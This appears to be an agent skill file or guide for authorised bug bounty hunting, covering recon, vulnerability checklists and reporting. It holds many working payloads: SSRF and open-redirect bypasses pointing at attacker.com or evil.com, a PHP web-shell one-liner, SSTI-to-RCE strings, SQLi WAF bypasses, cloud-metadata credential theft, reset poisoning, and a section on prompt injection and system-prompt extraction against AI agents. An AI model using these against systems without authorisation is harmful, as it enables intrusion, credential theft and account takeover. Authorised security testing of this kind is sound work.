Bug Bounty Master Workflow

Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.

THE ONLY QUESTION THAT MATTERS

"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"

If the answer is NO -- STOP. Do not write. Do not explore further. Move on.

Theoretical Bug = Wasted Time. Kill These Immediately:

Pattern	Kill Reason
"Could theoretically allow..."	Not exploitable = not a bug
"An attacker with X, Y, Z conditions could..."	Too many preconditions
"Wrong implementation but no practical impact"	Wrong but harmless = not a bug
Dead code with a bug in it	Not reachable = not a bug
Source maps without secrets	No impact
SSRF with DNS-only callback	Need data exfil or internal access
Open redirect alone	Need ATO or OAuth chain
"Could be used in a chain if..."	Build the chain first, THEN report

You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.

CRITICAL RULES

READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
One bug class at a time -- go deep, don't spray
Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else

For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see skills/bb-methodology/SKILL.md.

A->B BUG SIGNAL METHOD (Cluster Hunting)

When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.

Known A->B->C Chains

Bug A (Signal)	Hunt for Bug B	Escalate to C
IDOR (read)	PUT/DELETE on same endpoint	Full account data manipulation
SSRF (any)	Cloud metadata 169.254.169.254	IAM credential exfil -> RCE
XSS (stored)	Check if HttpOnly is set on session cookie	Session hijack -> ATO
Open redirect	OAuth redirect_uri accepts your domain	Auth code theft -> ATO
S3 bucket listing	Enumerate JS bundles	Grep for OAuth client_secret -> OAuth chain
Rate limit bypass	OTP brute force	Account takeover
GraphQL introspection	Missing field-level auth	Mass PII exfil
Debug endpoint	Leaked environment variables	Cloud credential -> infrastructure access
CORS reflects origin	Test with credentials: include	Credentialed data theft
Host header injection	Password reset poisoning	ATO via reset link

Cluster Hunt Protocol (6 Steps)

1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.

Real Examples

Coinbase S3->Bundle->Secret->OAuth chain:

A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain

Vienna Chatbot chain:

A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact

TOP 1% HACKER MINDSET

How Elite Hackers Think Differently

Average hunter: Runs tools, checks checklist, gives up after 30 min. Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"

Pre-Hunt Mental Framework

Step 1: Crown Jewel Thinking

Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"

Financial app -> drain funds, transfer to attacker account
Healthcare -> PII leak, HIPAA violation
SaaS -> tenant data crossing, admin takeover
Auth provider -> full SSO chain compromise

Step 2: Developer Empathy

Think like the developer who built the feature:

What was the simplest implementation?
What shortcut would a tired dev take at 2am?
Where is auth checked -- controller? middleware? DB layer?
What happens when you call endpoint B without going through endpoint A first?

Step 3: Trust Boundary Mapping

Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?

Step 4: Feature Interaction Thinking

Does this new feature reuse old auth, or does it have its own?
Does the mobile API share auth logic with the web app?
Was this feature built by the same team or a third-party?

The Top 1% Mental Checklist

I know the app's core business model
I've used the app as a real user for 15+ minutes
I know the tech stack (language, framework, auth system, caching)
I've read at least 3 disclosed reports for this program
I have 2 test accounts ready (attacker + victim)
I've defined my primary target: ONE crown jewel I'm hunting for today

Mindset Rules from Top Hunters

"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.

"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.

"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.

"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.

"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.

"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.

"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.

TOOLS

Go Binaries

Tool	Use
subfinder	Passive subdomain enum
httpx	Probe live hosts
dnsx	DNS resolution
nuclei	Template scanner
katana	Crawl
waybackurls	Archive URLs
gau	Known URLs
dalfox	XSS scanner
ffuf	Fuzzer
anew	Dedup append
qsreplace	Replace param values
assetfinder	Subdomain enum
gf	Grep patterns (xss, sqli, ssrf, redirect)
interactsh-client	OOB callbacks

Tools to Install When Needed

Tool	Use	Install
arjun	Hidden parameter discovery	`pip3 install arjun`
paramspider	URL parameter mining	`pip3 install paramspider`
kiterunner	API endpoint brute	`go install github.com/assetnote/kiterunner/cmd/kr@latest`
cloudenum	Cloud asset enumeration	`pip3 install cloud_enum`
trufflehog	Secret scanning	`brew install trufflehog`
gitleaks	Secret scanning	`brew install gitleaks`
XSStrike	Advanced XSS scanner	`pip3 install xsstrike`
SecretFinder	JS secret extraction	`pip3 install secretfinder`
sqlmap	SQL injection	`pip3 install sqlmap`
subzy	Subdomain takeover	`go install github.com/LukaSikic/subzy@latest`

Static Analysis (Semgrep Quick Audit)

# Install: pip3 install semgrep

# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./

# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./

# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./

# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .

# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'

FFUF Advanced Techniques

# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac

# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac

# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac

# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200

# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac

# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac

# Filter strategies:
# -fc 404,403          Filter status codes
# -fs 1234             Filter by response size
# -fw 50               Filter by word count
# -fr "not found"      Filter regex in response body
# -rate 5 -t 10        Rate limit + fewer threads for stealth
# -e .php,.bak,.old    Add extensions
# -o results.json      Save output

AI-Assisted Tools

strix (usestrix.com) -- open-source AI scanner for automated initial sweep

PHASE 1: RECON

Standard Recon Pipeline

# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt

# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt

# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file

# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3

Cloud Asset Enumeration

# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
  [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done

API Endpoint Discovery

# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac

HackerOne Scope Retrieval

curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'

Quick Wins Checklist

Technology Fingerprinting

Signal	Technology
Cookie: `XSRF-TOKEN` + `*_session`	Laravel
Cookie: `PHPSESSID`	PHP
Header: `X-Powered-By: Express`	Node.js/Express
Response: `wp-json`/`wp-content`	WordPress
Response: `{"errors":[{"message":`	GraphQL
Header: `X-Powered-By: Next.js`	Next.js

Framework Quick Wins

Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1 Node.js: /.env, /graphql (introspection), /_debug AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins

Source Code Recon

# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20

# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"

# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."

# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"

Language-Specific Grep Patterns

# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules

# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"

# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"

# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"

# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"

# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"

PHASE 2: LEARN (Pre-Hunt Intelligence)

Read Disclosed Reports

# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
  | jq '.data.hacktivity_items.nodes[].report'

"What Changed" Method

Find disclosed report for similar tech
Get the fix commit
Read the diff -- identify the anti-pattern
Grep your target for that same anti-pattern

Threat Model Template

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___

6 Key Patterns from Top Reports

Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
Developer Inconsistency = Strongest Evidence -- timingSafeEqual in one place, === elsewhere
"Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
Secondary/Legacy Endpoints = No Auth -- /api/v1/ guarded but /api/ isn't
Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend

PHASE 3: HUNT

Note-Taking System (Never Hunt Without This)

# TARGET: company.com -- SESSION 1

## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers

## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint

## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write

Subdomain Type -> Hunt Strategy

dev/staging/test: Debug endpoints, disabled auth, verbose errors
admin/internal: Default creds, IP bypass headers (X-Forwarded-For: 127.0.0.1)
api/api-v2: Enumerate with kiterunner, check older unprotected versions
auth/sso: OAuth misconfigs, open redirect in redirect_uri
upload/cdn: CORS, path traversal, stored XSS

CVE-Seeded Audit Approach

Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
Reproduce old bugs -- verify you can find the pattern in older code
Pattern-match forward -- search for the same anti-pattern in current code
Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input

Rust/Blockchain Source Code (Hard-Won Lessons)

Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.

"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.

Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.

# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"

VULNERABILITY HUNTING CHECKLISTS

IDOR -- Insecure Direct Object Reference

#1 most paid web2 class -- 30% of all submissions that get paid.

IDOR Variants (10 Ways to Test)

Variant	What to Test
V1: Direct	Change object ID in URL path `/api/users/123` -> `/api/users/456`
V2: Body param	Change ID in POST/PUT JSON body `{"user_id": 456}`
V3: GraphQL node	`{ node(id: "base64(OtherType:123)") { ... } }`
V4: Batch/bulk	`/api/users?ids=1,2,3,4,5` -- request multiple IDs at once
V5: Nested	Change parent ID: `/orgs/{org_id}/users/{user_id}`
V6: File path	`/files/download?path=../other-user/file.pdf`
V7: Predictable	Sequential integers, timestamps, short UUIDs
V8: Method swap	GET returns 403? Try PUT/PATCH/DELETE on same endpoint
V9: Version rollback	v2 blocked? Try `/api/v1/` same endpoint
V10: Header injection	`X-User-ID: victim_id`, `X-Org-ID: victim_org`

IDOR Testing Checklist

Create two accounts (A = attacker, B = victim)
Log in as A, perform all actions, note all IDs in requests
Log in as B, replay A's requests with A's IDs using B's auth
Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
Check API v1/v2 differences
Check GraphQL schema for node() queries
Check WebSocket messages for client-supplied IDs
Test batch endpoints (can you request multiple IDs?)
Try adding unexpected params: ?user_id=other_user

IDOR Chains (higher payout)

IDOR + Read PII = Medium
IDOR + Write (modify other's data) = High
IDOR + Admin endpoint = Critical (privilege escalation)
IDOR + Account takeover path = Critical
IDOR + Chatbot (LLM reads other user's data) = High

SSRF -- Server-Side Request Forgery

Try cloud metadata: http://169.254.169.254/latest/meta-data/
Try internal services: http://127.0.0.1:6379/ (Redis), :9200 (Elasticsearch), :27017 (MongoDB)
Test all IP bypass techniques (see table below)
Test protocol bypass: file://, dict://, gopher://
Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers

SSRF IP Bypass Table (11 Techniques)

Bypass	Payload	Notes
Decimal IP	`http://2130706433/`	127.0.0.1 as single decimal
Hex IP	`http://0x7f000001/`	Hex representation
Octal IP	`http://0177.0.0.1/`	Octal 0177 = 127
Short IP	`http://127.1/`	Abbreviated notation
IPv6	`http://[::1]/`	Loopback in IPv6
IPv6-mapped	`http://[::ffff:127.0.0.1]/`	IPv4-mapped IPv6
Redirect chain	`http://attacker.com/302->http://169.254.169.254`	Check each hop
DNS rebinding	Register domain resolving to 127.0.0.1	First check = external, fetch = internal
URL encoding	`http://127.0.0.1%2523@attacker.com`	Parser confusion
Enclosed alphanumeric	`http://①②⑦.⓪.⓪.①`	Unicode numerals
Protocol smuggling	`gopher://127.0.0.1:6379/_INFO`	Redis/other protocols

SSRF Impact Chain

DNS-only = Informational (don't submit)
Internal service accessible = Medium
Cloud metadata readable = High (key exposure)
Cloud metadata + exfil keys = Critical (code execution on cloud)
Docker API accessible = Critical (direct RCE)

OAuth / OIDC

Missing state parameter -> CSRF
redirect_uri accepts wildcards -> ATO
Missing PKCE -> code theft
Implicit flow -> token leakage in referrer
Open redirect in post-auth redirect -> OAuth token theft chain

Open Redirect Bypass Table (11 Techniques)

Use these when chaining open redirect into OAuth code theft:

Bypass	Payload	Notes
Double URL encoding	`%252F%252F`	Decodes to `//` after double decode
Backslash	`https://target.com\@evil.com`	Some parsers normalize `\` to `/`
Missing protocol	`//evil.com`	Protocol-relative
@-trick	`https://target.com@evil.com`	target.com becomes username
Protocol-relative	`///evil.com`	Triple slash
Tab/newline injection	`//evil%09.com`	Whitespace in hostname
Fragment trick	`https://evil.com#target.com`	Fragment misleads validation
Null byte	`https://evil.com%00target.com`	Some parsers truncate at null
Parameter pollution	`?next=target.com&next=evil.com`	Last value wins
Path confusion	`/redirect/..%2F..%2Fevil.com`	Path traversal in redirect
Unicode normalization	`https://evil.com/target.com`	Visual confusion

File Upload

File Upload Bypass Table

Bypass	Technique
Double extension	`file.php.jpg`, `file.php%00.jpg`
Case variation	`file.pHp`, `file.PHP5`
Alternative extensions	`.phtml`, `.phar`, `.shtml`, `.inc`
Content-Type spoof	`image/jpeg` header with PHP content
Magic bytes	`GIF89a; <?php system($_GET['c']); ?>`
.htaccess upload	`AddType application/x-httpd-php .jpg`
SVG XSS	`<svg onload=alert(1)>`
Race condition	Upload + execute before cleanup runs
Polyglot JPEG/PHP	Valid JPEG that is also valid PHP
Zip slip	`../../etc/cron.d/shell` in filename inside archive

Magic Bytes Reference

Type	Hex
JPEG	`FF D8 FF`
PNG	`89 50 4E 47 0D 0A 1A 0A`
GIF	`47 49 46 38`
PDF	`25 50 44 46`
ZIP/DOCX/XLSX	`50 4B 03 04`

Race Conditions

seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait

Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)

Business Logic

Negative quantities in cart
Price parameter tampering
Workflow skip (e.g., pay without checkout)
Role escalation via registration fields
Privilege persistence after downgrade

XSS -- Cross-Site Scripting

XSS Sinks (grep for these)

// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput

XSS Chains (escalate from Medium to High/Critical)

XSS + sensitive page (banking, admin) = High
XSS + CSRF token theft = CSRF bypass -> Critical action
XSS + service worker = persistent XSS across pages
XSS + credential theft via fake login form = ATO
XSS in chatbot response = stored XSS chain

SQL Injection

Detection

# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--

# Error-based detection
'; SELECT 1/0--    # divide by zero error reveals SQLi

Modern SQLi WAF Bypass

-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1

GraphQL

Introspection (alone = Informational, but reveals attack surface)

{ __schema { types { name fields { name type { name } } } } }

Missing Field-Level Auth

# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }

Batching Attack (Rate Limit Bypass)

[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]

LLM / AI Features

Prompt injection via user input passed to LLM
Indirect injection via document/URL the AI processes
IDOR in chat history (enumerate conversation IDs)
System prompt extraction via roleplay/encoding
RCE via code execution tool abuse
ASCII smuggling (invisible unicode in LLM output)

Agentic AI Hunting (OWASP ASI01-ASI10)

When target has AI agents with tool access, these are the 10 attack classes:

ID	Vuln Class	What to Test
ASI01	Prompt injection	Override system prompt via user input -- make agent ignore its rules
ASI02	Tool misuse	Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool)
ASI03	Data exfil	Extract training data / PII via crafted prompts that leak context
ASI04	Privilege escalation	Use AI to access admin-only tools -- agent has broader perms than user
ASI05	Indirect injection	Poison document/URL the AI processes -- hidden instructions in fetched content
ASI06	Excessive agency	AI takes destructive actions without confirmation -- delete, send, pay
ASI07	Model DoS	Craft inputs that cause infinite loops, excessive token usage, or OOM
ASI08	Insecure output	AI generates XSS/SQLi/command injection in its output that gets rendered
ASI09	Supply chain	Compromised plugins/tools/MCP servers the AI calls
ASI10	Sensitive disclosure	AI reveals internal configs, API keys, system prompts, user data

Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.

Cache Poisoning / Web Cache Deception

Test X-Forwarded-Host, X-Original-URL, X-Rewrite-URL -- unkeyed headers reflected in response
Parameter cloaking (?param=value;poison=xss)
Fat GET (body params on GET requests)
Web cache deception (/account/settings.css -- trick cache into storing private response)
Param Miner (Burp extension) -- auto-discovers unkeyed headers

HTTP Request Smuggling

CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
H2.CL: HTTP/2 downgrade smuggling
TE obfuscation: Transfer-Encoding: xchunked, tab prefix, space prefix
Use Burp "HTTP Request Smuggler" extension -- detects automatically

CL.TE Example

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.

Android / Mobile Hunting

Certificate pinning bypass (Frida/objection)
Exported activities/receivers (AndroidManifest.xml)
Deep link injection
Shared preferences / SQLite in cleartext
WebView JavaScript bridge
Mobile API often uses older/different API version than web

CI/CD Pipeline

GitHub Actions: pull_request_target with checkout of PR code
Secrets in workflow logs
Artifact poisoning (overwrite existing artifacts)
Build command injection via branch/tag names
OIDC token theft from CI runners

SSTI -- Server-Side Template Injection

Detection Payloads

{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)

Where to Test

Name/bio/description fields (profile pages)
Email templates (invoice name, username in confirmation email)
Custom error messages
PDF generators (invoice, report export)
URL path parameters
Search queries reflected in results

Jinja2 -> RCE (Python / Flask)

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig -> RCE (PHP / Symfony)

{{["id"]|filter("system")}}

Freemarker -> RCE (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

ERB -> RCE (Ruby on Rails)

<%= `id` %>

Subdomain Takeover

Detection

# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt

Quick-Kill Fingerprints

"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify

Impact Escalation

Basic takeover: serve page under target.com subdomain -> Low/Medium
- Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
- OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
- CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical

ATO -- Account Takeover (Complete Taxonomy)

Path 1: Password Reset Poisoning (Host Header Injection)

POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

Path 2: Reset Token in Referrer Leak

After clicking reset link, if page loads external resources -> token in Referer header to external domain.

Path 3: Predictable / Weak Reset Tokens

# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50

Path 4: Token Not Expiring / Reuse

Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?

Path 5: Email Change Without Re-Authentication

PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required -> attacker changes email -> locks out victim

Path 6: OAuth Account Linking Abuse

Can you link an OAuth account from a different email to an existing account?

Path 7: Session Fixation

GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.

Cloud / Infra Misconfigs

S3 / GCS / Azure Blob

# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

EC2 Metadata (via SSRF)

http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical

# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Firebase Open Rules

curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical

